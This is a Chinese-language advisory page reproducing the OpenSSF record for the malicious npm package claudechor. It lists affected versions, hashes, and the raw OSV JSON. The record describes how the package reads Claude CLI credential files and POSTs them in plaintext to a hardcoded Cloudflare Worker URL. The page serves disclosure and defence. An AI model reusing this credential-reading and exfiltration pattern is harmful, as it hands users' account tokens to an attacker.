目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

claudechor

MAL-2026-5717
2026-08-18 21:12:22
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in claudechor (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
408
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmclaudechor*
npmclaudechor1.0.0
npmclaudechor1.0.1
npmclaudechor1.0.2
npmclaudechor1.0.3
npmclaudechor1.0.4
npmclaudechor1.0.5
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-5717","published":"2026-06-12T20:57:29Z","modified":"2026-08-18T21:12:22.085524533Z","aliases":["GHSA-w7p9-gpj5-p2pw"],"summary":"Malicious code in claudechor (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (4a9cbb36cf7ed82685830b5d3a2b341bff9ef86e2688842d1f54259b2b6fb533)\nThe package's bin entry reads installer-owned Claude credential files (`~/.claude/.credentials.json` and `~/.claude.json`) — written by Anthropic's official Claude CLI, not by this package — and POSTs their contents in plaintext JSON to a hardcoded endpoint `https://tfer.jha-anurag2017.workers.dev` (a personal Cloudflare Worker unrelated to Anthropic). index.js:9 hardcodes `WORKER_URL`; index.js:78-83 reads the two credential files and calls `request(\"POST\", \"/${name}\", { data: JSON.stringify(files) })` keyed by `<hostname>-<username>` (collected via `os.hostname()` / `os.userInfo()` at index.js:146). The default invocation `claudechor` with no arguments runs `cmdPush` immediately, with no confirmation. AES-256-GCM `encrypt`/`decrypt` helpers are defined in the file but are dead code in the push path, so the OAuth/session tokens leave the host unencrypted at the application layer. The README is effectively empty (`# tfer`) and nothing in the package metadata discloses that the bin uploads third-party credentials to a personal endpoint. Anyone who runs the CLI surrenders their Anthropic account access to the package author.\n\n## Source: ghsa-malware (e316ad277e7060681095bbb711706304d444bdb3dd411264c8b783b6cf063427)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"claudechor","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.5","1.0.1","1.0.2","1.0.3","1.0.4","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"b92623249f27a0a653cbd5a714f513d29bdd49a38767d766048d911c5e8f5075","tlsh":"3ec181722df5623132f3d1ee592788272545fa12760ad880f28c71892fed8a8c553efd"}],"package_integrity":[{"filename":"claudechor-1.0.5.tgz","hashes":{"sha1":"166523532cc4196ccd00f8204310f6d9c22eea72","sha512_sri":"sha512-jiRON7JDvBZGJIbFjqBsUxKuWdGhGGR/ubq+QnlMU76qR0zLpiDXwc0ruXyWbV/BqRN2kd4d8sW4koKYWmPsGg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.4"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w7p9-gpj5-p2pw"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/claudechor/v/1.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006242","import_time":"2026-06-12T21:38:19.123536517Z","modified_time":"2026-06-12T20:57:39Z","sha256":"2f3e2adf26b9818ea4bc994cb5c97968b857e93cb14bb41cd51a282f661f50f4","source":"amazon-inspector","versions":["1.0.5"]},{"id":"IN-MAL-2026-006241","import_time":"2026-06-12T21:38:19.08733975Z","modified_time":"2026-06-12T20:57:35Z","sha256":"63afdbd3ab1c6154fc3fc44411d414f1b86ff93b93b51f4e6d58e543a360c3ce","source":"amazon-inspector","versions":["1.0.1"]},{"id":"IN-MAL-2026-006240","import_time":"2026-06-12T21:38:19.052956284Z","modified_time":"2026-06-12T20:57:33Z","sha256":"b287ba5c7aa29a347b3076df079ccc9243a83e42d8e920d6448965078fbbc18b","source":"amazon-inspector","versions":["1.0.2"]},{"id":"IN-MAL-2026-006238","import_time":"2026-06-12T21:38:18.982941482Z","modified_time":"2026-06-12T20:57:29Z","sha256":"d756d247f56c9b24b6f651f544620388c87e46647cc96929cd601347af2ea152","source":"amazon-inspector","versions":["1.0.3"]},{"id":"IN-MAL-2026-006239","import_time":"2026-06-12T21:38:19.021694229Z","modified_time":"2026-06-12T20:57:32Z","sha256":"4a9cbb36cf7ed82685830b5d3a2b341bff9ef86e2688842d1f54259b2b6fb533","source":"amazon-inspector","versions":["1.0.4"]},{"id":"GHSA-w7p9-gpj5-p2pw","import_time":"2026-08-18T16:29:04.476770464Z","modified_time":"2026-08-18T15:38:33Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e316ad277e7060681095bbb711706304d444bdb3dd411264c8b783b6cf063427","source":"ghsa-malware"},{"id":"IN-MAL-2026-018007","import_time":"2026-08-18T21:10:28.110312726Z","modified_time":"2026-08-18T21:03:02Z","sha256":"a48415d3292c12342810126f207d8f5563c5e68b0851fc0dd1463a67d201e757","source":"amazon-inspector","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0